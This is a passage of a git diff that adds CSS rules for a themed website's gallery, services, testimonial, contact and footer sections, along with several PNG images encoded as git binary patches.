+    text-align: center;
+    padding: 8px;
+}
+
+.read_bt a:hover {
+    color: #ffffff;
+    background-color: #f76d37;
+}
+
+/* about section end */
+
+/* gallery section start */
+
+.gallery_section {
+    width: 100%;
+    float: left;
+    padding-bottom: 90px;
+}
+
+.gallery_taital {
+    width: 100%;
+    float: left;
+    text-align: center;
+    font-size: 40px;
+    color: #f76d37;
+    font-weight: bold;
+}
+
+.gallery_text {
+    width: 100%;
+    float: left;
+    font-size: 16px;
+    text-align: center;
+    margin: 0px;
+    padding-top: 20px;
+    color: #262525;
+}
+
+.gallery_section_2 {
+    width: 100%;
+    float: left;
+    padding-top: 50px;
+}
+
+.image {
+    display: block;
+    width: 100%;
+    height: auto;
+}
+
+img.image {
+    min-height: 300px;
+}
+
+.container_main {
+    position: relative;
+}
+
+.overlay {
+    position: absolute;
+    top: 0;
+    bottom: 0;
+    left: 0;
+    right: 0;
+    height: 100%;
+    width: 100%;
+    opacity: 0;
+    transition: .5s ease;
+    background-color: rgb(254, 230, 220, 0.6);
+    margin: 0 auto;
+}
+
+.container_main:hover .overlay {
+    opacity: 1;
+}
+
+.text {
+    color: white;
+    font-size: 60px;
+    position: absolute;
+    top: 50%;
+    left: 50%;
+    -webkit-transform: translate(-50%, -50%);
+    -ms-transform: translate(-50%, -50%);
+    transform: translate(-50%, -50%);
+    width: 80%;
+    text-align: center;
+}
+
+.seemore_bt {
+    width: 170px;
+    margin: 0 auto;
+    text-align: center;
+    display: flex;
+}
+
+.seemore_bt a {
+    width: 100%;
+    text-align: center;
+    font-size: 18px;
+    color: #ffffff;
+    background-color: #252525;
+    padding: 10px 0px;
+    margin-top: 40px;
+}
+
+.seemore_bt a:hover {
+    background-color: #f76d37;
+    color: #ffffff;
+}
+
+a:hover {
+    color: #f76d37;
+    text-decoration: underline;
+}
+
+/* gallery section end */
+
+/* services section start */
+
+.services_section {
+    width: 100%;
+    float: left;
+    background-image: url(../images/services-bg.png);
+    height: auto;
+    padding-bottom: 100px;
+    background-attachment: fixed;
+}
+
+.services_taital {
+    width: 100%;
+    float: left;
+    font-size: 40px;
+    color: #ffffff;
+    font-weight: bold;
+    text-align: center;
+}
+
+.services_text {
+    width: 100%;
+    float: left;
+    font-size: 16px;
+    color: #ffffff;
+    margin: 0px;
+    text-align: center;
+}
+
+.house_icon {
+    width: 200px;
+    height: auto;
+    border-radius: 100%;
+    display: flex;
+    justify-content: center;
+    align-items: center;
+    margin: 0 auto;
+}
+
+.house_icon img {
+    width: 45px;
+    min-height: 50px;
+}
+
+.box_main .house_icon .image_2 {
+    display: none;
+}
+
+.box_main:hover .house_icon .image_2 {
+    display: block;
+}
+
+.box_main:hover .house_icon .image_1 {
+    display: none;
+}
+
+.box_main:hover {
+    background-color: #ffffff;
+}
+
+.box_main {
+    width: 100%;
+    background-color: #f76d37;
+    padding: 40px 30px;
+    box-shadow: 0px 0px 18px -6px;
+}
+
+.box_main:hover .decorate_text {
+    color: #000;
+}
+
+.box_main:hover .tation_text {
+    color: #000;
+}
+
+.box_main:hover .readmore_bt {
+    display: block;
+}
+
+.box_main:hover .readmore_bt a {
+    color: #ffffff;
+    background-color: #000;
+}
+
+.services_section_2 {
+    width: 100%;
+    float: left;
+    padding-top: 50px;
+}
+
+.decorate_text {
+    width: 100%;
+    font-size: 28px;
+    color: #ffffff;
+    padding-top: 30px;
+    text-align: center;
+}
+
+.tation_text {
+    width: 100%;
+    font-size: 14px;
+    color: #ffffff;
+    margin: 0px;
+    text-align: center;
+}
+
+.readmore_bt {
+    width: 175px;
+    padding-top: 40px;
+    margin: 0 auto;
+    display: flex;
+    display: none;
+    padding-bottom: 40px;
+}
+
+.readmore_bt a {
+    width: 100%;
+    float: left;
+    font-size: 18px;
+    background-color: #070603;
+    color: #ffffff;
+    text-align: center;
+    padding: 8px;
+    text-transform: uppercase;
+}
+
+.readmore_bt a:hover {
+    color: #ffffff;
+    background-color: #f76d37;
+}
+
+/* services section end */
+
+/* client section start */
+
+.client_section {
+    width: 100%;
+    float: left;
+}
+
+.client_taital {
+    width: 100%;
+    float: left;
+    font-size: 40px;
+    color: #f76d37;
+    font-weight: bold;
+    font-family: 'Poppins', sans-serif;
+}
+
+.client_text {
+    width: 100%;
+    font-size: 16px;
+    color: #252525;
+    margin: 0 auto;
+}
+
+.client_section_2 {
+    width: 100%;
+    float: left;
+    margin-top: 50px;
+    padding-bottom: 100px;
+}
+
+.testimonial_section_2 {
+    width: 100%;
+    float: left;
+    padding: 0px 40px 30px 40px;
+    position: relative;
+}
+
+.testimonial_section_2::after {
+    content: '';
+    position: absolute;
+    width: 100px;
+    height: 150px;
+    border-top: 3px solid #252525;
+    border-left: 3px solid #252525;
+    top: 12px;
+    left: 0px;
+    right: initial;
+}
+
+.testimonial_section_2::before {
+    content: '';
+    position: absolute;
+    width: 100px;
+    height: 150px;
+    border-bottom: 3px solid #252525;
+    border-right: 3px solid #252525;
+    top: 12px;
+    left: initial;
+    right: 0px;
+}
+
+.client_name_text {
+    width: 100%;
+    float: left;
+    font-size: 24px;
+    color: #f76d37;
+    text-transform: uppercase;
+    padding-left: 100px;
+    font-weight: bold;
+}
+
+.quick_icon {
+    text-align: right;
+    padding-left: 30px;
+}
+
+.customer_text {
+    width: 100%;
+    float: left;
+    font-size: 16px;
+    color: #252525;
+    margin: 0px;
+}
+
+.carousel-indicators li {
+    position: relative;
+    -ms-flex: 0 1 auto;
+    flex: 0 1 auto;
+    width: 55px;
+    height: 18px;
+    margin-right: 3px;
+    margin-left: 3px;
+    text-indent: -999px;
+    background-color: #252525;
+    border-radius: 20px;
+}
+
+.carousel-indicators {
+    bottom: 0px;
+}
+
+.carousel-indicators .active {
+    background-color: #f76d37;
+}
+
+/* client section end */
+
+/* contact section start */
+
+.contact_section {
+    width: 100%;
+    float: left;
+}
+
+.contact_text {
+    width: 100%;
+    float: left;
+    font-size: 40px;
+    text-align: center;
+    color: #f76d37;
+    font-weight: bold;
+}
+
+.contact_section_2 {
+    width: 100%;
+    float: left;
+}
+
+.mail_section {
+    width: 100%;
+    float: left;
+    background-image: url(../images/img-9.png);
+    height: auto;
+    padding: 23px 70px;
+    background-repeat: no-repeat;
+    background-size: cover;
+}
+
+.long_text {
+    width: 52%;
+    margin: 0 auto;
+    font-size: 16px;
+    text-align: center;
+    color: #b2afaf;
+    padding-top: 30px;
+    display: flex;
+}
+
+.email_text {
+    width: 100%;
+    float: left;
+    margin-top: 20px;
+}
+
+.email-bt {
+    color: #080707;
+    width: 100%;
+    height: 55px;
+    font-size: 20px;
+    padding: 20px 40px;
+    border: 0px;
+    border-radius: 30px;
+}
+
+.massage-bt {
+    color: #080707;
+    width: 100%;
+    height: 150px;
+    font-size: 20px;
+    padding: 40px;
+    border: 0px;
+    border-radius: 50px;
+}
+
+.send_btn {
+    width: 170px;
+    margin: 0 auto;
+    text-align: center;
+}
+
+.main_bt a {
+    width: 100%;
+    margin: 0 auto;
+    text-align: center;
+    font-size: 16px;
+    color: #ffffff;
+    background-color: #d33a11;
+    padding: 15px 50px 12px 50px;
+    border-radius: 30px;
+    display: block;
+}
+
+.main_bt a {
+    color: #ffffff;
+    background-color: #d33a11;
+}
+
+.main_bt a:hover {
+    color: #323131;
+    background-color: #ffffff;
+}
+
+.padding_0 {
+    padding: 0px;
+}
+
+/* contact section end */
+
+/* footer section start */
+
+.footer_section {
+    width: 100%;
+    float: left;
+    background-color: #252525;
+    height: auto;
+    padding: 95px 0px;
+}
+
+.useful_text {
+    width: 100%;
+    font-size: 24px;
+    color: #ffffff;
+    margin-bottom: 15px;
+    font-weight: bold;
+}
+
+.footer_text {
+    width: 100%;
+    float: left;
+    font-size: 14px;
+    color: #ffffff;
+    margin: 0px;
+}
+
+.footer_menu {
+    width: 100%;
+    float: left;
+}
+
+.footer_menu ul {
+    margin: 0px;
+    padding: 0px;
+}
+
+.footer_menu li {
+    font-size: 14px;
+    color: #ffffff;
+}
+
+.footer_menu li a {
+    color: #ffffff;
+}
+
+.footer_menu li a:hover {
+    color: #f76d37;
+}
+
+.dummy_text {
+    width: 30%;
+    float: left;
+    font-size: 14px;
+    color: #ffffff;
+    margin: 0px;
+}
+
+.location_text {
+    width: 100%;
+    float: left;
+}
+
+.location_text ul {
+    margin: 0px;
+    padding: 0px;
+}
+
+.location_text li {
+    font-size: 14px;
+    color: #ffffff;
+    padding: 0px 0px 5px 0px;
+}
+
+.location_text li a {
+    color: #ffffff;
+}
+
+.location_text li a:hover {
+    color: #f76d37;
+}
+
+.padding_left_10 {
+    padding-left: 10px;
+}
+
+
+/* footer section end */
+
+/* copyright section start */
+
+.copyright_section {
+    width: 100%;
+    float: left;
+    background-color: #ffffff;
+    height: auto;
+}
+
+.copyright_text {
+    width: 100%;
+    float: left;
+    font-size: 16px;
+    color: #252525;
+    text-align: center;
+    margin-left: 0px;
+}
+
+.copyright_text a {
+    color: #252525;
+}
+
+.copyright_text a:hover {
+    color: #f76d37;
+}
+
+
+/* copyright section end */
+
+.margin_top90 {
+    margin-top: 90px;
+}
\ No newline at end of file
diff --git a/public/images/bookshop.png b/public/images/bookshop.png
new file mode 100644
index 0000000000000000000000000000000000000000..dc69a8a92e1d89bd5f8e59af90def0e8b0015528
GIT binary patch
literal 12330
zcmeAS@N?(olHy`uVBq!ia0y~yU~gbxV6os}V_;x-arvM#0|NtRfk$L90|Va?5N4dJ
z%_q&kz_KGVB%&n3*T*V3KUXg?B|j-uuOhdA0R(L9D+&^mvr|hHl2X$%^K8}M@7}Mj
zkeOnu9&YMu;9KCFnvv;IRg@ZB<rk7%m7Q#vqHb@;Wm92Qkz0_PT9T+xk(-lOY*k^a
z4mQ^+uh<GCtgmjzWmA-rW)<Y(231m&l4h%(QBqQ1rLSLJUanVete0Puu5V~*X{m2u
zq;F)TTa=QfTU?n}l31aeSFEgV$Hk=pHp3;gIJqdZpd>RtPXT0RVp4u-iLJUimjcvi
z$C8qw%p|z!dBu8(V3AUg7QN*BT>Zq9VtqqB1CX;66l@^stsGN|?YI;aAeIED7J@kt
zUQQ<1rh>$x;?$7Jf>c}epw#00(xT*4b%-jsA<jjqi6yBic18w9rn&~kx<<w}`cU&>
zQXo4Jwz^i7c&6By8K)#B8=0BtTBaIX>YA9Pn(A66rkd!c7$=&TBpI1nBwL!n4T5Mv
zHO4K;GsVu-$kfQp)Y8zz(A?70!T_!TEQzW<B)>E{1LPGuBe*hz7+9^1J}7i^GQmEC
zaG;?A*8vGKh#XS15Fb@3$?#|@C@snXCxMh?{nVV)+|;}hP$U^bBPk`>swA@{Cl%rv
zkjor%O28a=6jkKrSmh+<rQ51k=%%EmC6?xtsM|T^=VupZ<QFLDDi}f>isB=vAvXF*
z=0lW`<(~qiR1HdZ;LHU|aRn)9`i6SOP|p;kq**zZmSp4?**TWx<|URWIA<hgC+6lQ
z=Go{YNpdMr;FgNq0(jt}xTPYo04eoX<Q7<glV*NVNPd2fopWMdS)zhQP-<REYEf#D
zrb0@7vaO4wduE2QNkLGsfkJ6<YLRWIqnmqSN}+*?uBSp$QDR<-trJKjB+;ePB2u9w
zHMbxqu_V>jMjzdHtX_inGRVcvj>|?LUYOW%A&R5aycApYB6WMaZ6_8qGcagNc)B=-
zRLpsE^C0g51%U$_F8wXHo95u;@{Q$Z`q?uzpt6jCfx+heepx8<fFzp%gz3=2$OB;s
zBr-5VSS}I=APfe<QDvZzKnf6P28RFt-`s2j1=<0H`q$MpOD8gb>KFzFh8Y5|a1&;d
z0O@03NN|D$st-p3M5uui7UBkq4U7;mH5O=e9B3IeEJ2B3G>~bYmPP}a4jFbdkVgX<
zT*43e0)8|l(=H`5j#hW0)g1!^!)PJFz%bf6W?;bI2^cMjX;%`%yKSR^JQ~PDy5Tn3
zrl9?B%xEDoT1X7(LSnSKBhc2O>gergaWPt44C&%xv`sPErT``2(Q%5=aSBj67#*iz
zU|<;7N!-yk#b}!Xlof~U*zstaVzf;GO2DISiqSR&C>@NpDMs5Apme~%FuWJcK^ksv
hM;8);Bb!F+C6(Ow^W;?gw+Aoh_jL7hS?83{1OS$x&+Y&K

literal 0
HcmV?d00001

diff --git a/public/images/call-icon.png b/public/images/call-icon.png
new file mode 100644
index 0000000000000000000000000000000000000000..a3e729e6e4600843acf8f170782a69b1229ebc5b
GIT binary patch
literal 1668
zcmeAS@N?(olHy`uVBq!ia0y~yV2}o34mJh`hTbb*LKzqsBuiW)N`mv#O3D+9QW+dm
z@{>{(JaZG%Q-e|yQz{EjrrIztFe_z-M3hAM`dB6B=jtVb)aX^@7BGN-jeSKyVsdtB
zi9%9pdS;%j()-=}l@u~lY?Z=IeGPmIoKrJ0J*tXQgRA^PlB=?lEmM^2?G$V(tSWK~
za#KqZ6)JLb@`|l0Y?Z*~TICg6frRyy6u?SKvTc<hj*9RNP;kyKN>wn`GuBNuFf>#!
zGt)CPF*P$Y)KM@pFf`IPFw!?L(={})GBvX@GFN~CB|8P1qLehNAQv~NT}3Hrwn`Z#
zB?VUc`sL;2dgaD?`9<mahL)C=ATx}Nbc<5bbc-wVN)jt{^NN*WCb*;)Cl_TFlw{`T
zDS%8&Ov*1Uu~kxn8e5TD05>+T7#d8;`MLTPi3R$GdIlgbLHwFq;OmQDX>KlDb#X~h
zD#E>34K5C;EJ)Q4N-fSWElN%eN=;J+xv9X)xhOTUB)=#mKR*W+iUAq<CHch}`2`Bj
z!Db2?;hA|U`Q^o$VD-MfR-SpqC5d^-sh%#jN)@>UdYPFiRt82!21b@<PR<sV7KVnd
zmQIESCQfFSCZ>*Vjs}L77BIao`N^fZsd*(Zy(tL2&N%ggk^(3=tXxuyGRsm^+=}vZ
z6~JD$%Eav!OPuCG^`_u<iz80G`gRI7`k;tKifEWnkc%6L2~Lxs^l7JnNcgFFDYi;Q
zO7?bVisz>=Ffje_ba4!+xV2<jbPi9T#PRZJu@^f6rf&+`t|WJ-bH|lf<rT|vRa8`_
zeu%gz?ip`mq9p47^}ytoPY({7ZVPGgm~iz-tjQEEt#u2<r_4C|t9EvNiceZv`fdH6
zPtTY?fAih`{><Wio7*z~@vv@j4d4`3V7FQzxz5o>sIx4MOQ7sW^8<!C4TXLCG&e}3
zl;tm!&uLh!G{<L_Z@>%nv>Qg+4J<t2`+1MCoTyNka#&A-fBM2HKD+lGDKhyX;9lRU
zGx71<o|pXbEKUDjD{Q`M@_d2*nT7BBZW~?O&C&U`?1%XS;XQ5ZO8zX7Y;V2f`N6H@
zLxpJG=el{un`dq*ubt-k>;3D`QZJb2TJ7AqLGn|n($S96%xSzP*@-Ie??opa|H2+8
zcKvCIX`~yI{)3MuPY#ycvkf`OZ?gY`d*tbeDT&N$F29w#l(6YZZ-GGAiUcON7tbmh
zJofd?XEppI8<w`L=e&Z3{68h1md_v9+g=6jYYFYJy_yr1S@f~^>hzw|A9zo`31nMX
z{>%2ryn`w;)+7~u+vmjXxct?OOaqDf<-ewCMJXjsuW7MsezPTC?(f+%5l#1}JiV;?
z*RNRS+e&@b1+uGL-c0DfQB*PUWr%QqS;xUQ*<Y^8ojrEyTa!=Jk*KfDyCcgrcFdi6
zbM=lZXYOx{)oHiRl7017j?phou`Jemdg|M#eMjtWX`d)wQOs$;oW;~785OD{y)5;D
zR^flqq>bSQx6)tlmdpBU$9ySI<<`P|BG1JlgXTTmwxXcx<g~gshM#|4c%mwHWX|`S
z!Z%(RhHd*^wLc+cgUGkTIoBB{&E&p1;nRX^c4kw(mQHMXCs8iJwWdz-jp50?de^&C
zukM;U{f3d$>Y2B5yJfV0y;3-z+q{Ey-Pf1)i>EI3`X5wrlmA8v%a6msjP6c*x4T#z
zSWvZB<#v_kwS<(9;d-meZ(Nh(@O12N-Tb5RPW9~s)jOwx)^vQ%Xsb3jt-Wi_Qajc=
zMmqzz1$T+3n6nvb=AU+0H+jaj6Xr!C0+y-rKf)Ur8N_9S`MS!v?}O?EPgg&ebxsLQ
E0QDx2zW@LL

literal 0
HcmV?d00001

diff --git a/public/images/fb-icon.png b/public/images/fb-icon.png
new file mode 100644
index 0000000000000000000000000000000000000000..8289344b272acbc4bb657b1e21dec867063bf6d0
GIT binary patch
literal 1762
zcmeAS@N?(olHy`uVBq!ia0y~yU{GOTU{K{?V_;y=it)B(U|^6eag8Vm&QB{TPb^Ah
za7@WhN>%X8O-xS>N=;0uEIgTN!@$6-lo=9H65;D(m7Jfemk3g$SCL!500K7l6$OdO
z*{LN8NvY|XdA3ULckfqH$V{<S3ODsN@GWpo&B*kqDoPEm@(W3>%1*XSQL?vFu&J=B
z$SufCElE_U$j!+swyLmI0-I}<S8N3m)>l#hD=EpgRf0Gw!Z$#{Ilm}X!Bo#!H`&0@
zP{GVh&(Orw%*;?n!N|bSNZ-In-@r`Q(8S8r%*x1I0Sc7t6l{u8(yW49+@N+9rKH&^
zWt5Z@Sn2DRmzV368|&p4rRy77T3Uk4Ff!6DN=ef#uFNY*tkBIXR)(42l3JWxlvz-c
znV+WsGBGhJzqG_wNeOCfMQ#Dy*t}wBFeT^b>Q^Kd=o{)8fV>3pYi@zBFMg%Dxp39R
zB|)hO_hL1;IHa;5RX-@TIKQ+gIW;IXO&R2-0xRdD)WnkfqLBRj99Sp@WaO9R7iZ)b
zC^!e3DQJXe=B4D97i)sm`}$gW<`tJD<|U_ky4WgJ<QC{<W~Nw~I=dQJI$O9nTUa_7
z8oF9qnwXioIvN_fnp#*|n7En2^t$9Hm*%GCmB93-AoRN8)C)=qpy04_NiE7OOHFYr
z%Fk5*d)X=zw_BWWng`XJg4-?5IQ8n=DcI<PA{Hs4VM0MJZXhN&O@h*=odP1^r{<;D
zDitZ&+g-}eeZ;`P9Omib7*cWT%#COdkw6Ld4|faiUJB8eerDZ_wAPzvm6&>KS8Q1E
zLdng|(cj6@$@Pm6izAERMQ2xmtIlPP6Ha-l3a{-r)Wp)c=}nfaROFPrv~7R)|KR7j
z{BGCtH@m(b<PV=|TUV@ie~zW!{`>C(Izmpg%A9C2k>KN0;Qjf4d&^<rjD`6R|1qb}
z;OuP?QZr(?^?=W&b^C?muiFkq%;5QHz_`yzc#84E4&hrIs~;MMI4^eU-<7DS(^z7`
z8tz=@EW~w)`S?SgGhBtS7LN{aPfw6nVcBgK!F;oTx2#Dp(I~95K;WEX)DBMH)~pEm
zqb_f@Ij1gI@<x1_;Y{A<89kZeQ=IpFegDm~mM89DoqNtBj*>(3947CQIOkq@jz>jw
zmBM|y6uET`dnDA7qgd4wXZ*?Au(&JoiCjj>Zjr;e0j%Z=7`JKE{O8)S;DF2~5er6c
zlXre<Pcr}C4_tV|k5gtsm8z{tZ+T_>;_{-%*0VoY*2YL^1u_ROnYH`Ii{cj-Jv1bR
ze*QF`a?tigP>y@vlf5N<-TrT@&ZgdW_RRUBw&z;TYqKYwPK$4x)q2>nHQ+>?Q8~-*
zpI_=Z#6@pUk=er+mbU$o%9N<9Px$59O~g(}oILtK=EuSc^Zhr3zy0tmH*NDVEAwRA
z9j|V7(8^5ZBjdFLF1-(p@-I!W{1R*TfnV$5(YcFvMo)>WW6L+m4|tZe{oqx@sLg^m
z&mH?%Ec1G1o(G>S+it7VAKxbn?J<ZDdH#=`^K5&X=L<o3dA(k@KPi7>)l*h%URvkr
zboRpeB_W4%XPW0-;?&<Wg;kNWw4hYya>j|{RVwe}-tR~%O;Wwn6t~$c?NI88fHmv<
z@*MB{d3j~Ug`am;R;`iVVwSh&l*zLI`RsuC$7Cic>a}|Pc#+_^C2z-Z$3UL&YhirF
zt{cp+%Vab(NxWIwz2KV6ssR12)&kjQyh%pd3*^#TerxTOc=h9GhI%lUsX_G9yK!e8
zp1RF_GSEXsw(n5nx>pU?c}rxJ+XJl=tYRK`<%G}KA-O?hnzO8Uzy2lW)iXED4Ba_3
z-BtHaR>|#kz7HLzR$iKRlJ`$y*y9y*7R*%apYCcf@8r?q+lhIOzjQ_K9G`wZs<O-d
xx5s%ow(M&h-#TWyZk+zSbFP&0Z}mEE1BU!r&bl?%=bM9S9Zy$3mvv4FO#qewrzrpc

literal 0
HcmV?d00001

diff --git a/public/images/img-8.png b/public/images/img-8.png
new file mode 100644
index 0000000000000000000000000000000000000000..69edc4f2f60bb0410900a47ed4accd70cf7330cb
GIT binary patch
literal 108272
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
